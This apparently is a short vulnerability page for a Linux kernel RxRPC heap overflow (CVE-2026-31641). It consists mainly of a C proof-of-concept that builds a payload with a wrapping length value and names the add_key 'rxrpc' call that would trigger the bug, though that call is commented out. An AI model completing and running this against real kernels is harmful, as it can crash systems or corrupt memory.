CVE-2026-31641 Linux内核RxRPC堆溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> /* * PoC for CVE-2026-31641 * This code demonstrates the concept of triggering the heap overflow * by crafting a malicious XDR token with a specific length. * Compile with: gcc -o poc_cve2026_31641 poc_cve2026_31641.c */ int main() { // The vulnerable length threshold is >= 0xfffffffd unsigned int malicious_length = 0xfffffffd; // Simulate XDR token structure (simplified) // In a real scenario, this requires correct XDR encoding for RxGK char payload[128]; memset(payload, 'A', sizeof(payload)); // Inject the malicious length at the expected offset (conceptual) // This triggers the round_up() wrap-around in the kernel memcpy(payload, &malicious_length, sizeof(malicious_length)); printf("[+] Triggering add_key with malicious payload...\n"); // The actual exploit would call add_key syscall here. // key_serial_t key = add_key("rxrpc", "test_desc", payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING); // if (key == -1) { perror("add_key"); } // If vulnerable, the kernel will attempt to allocate 0 bytes // and memcpy ~4GB, causing a crash or corruption. printf("[+] Payload prepared. (Requires vulnerable kernel to test)\n"); return 0; }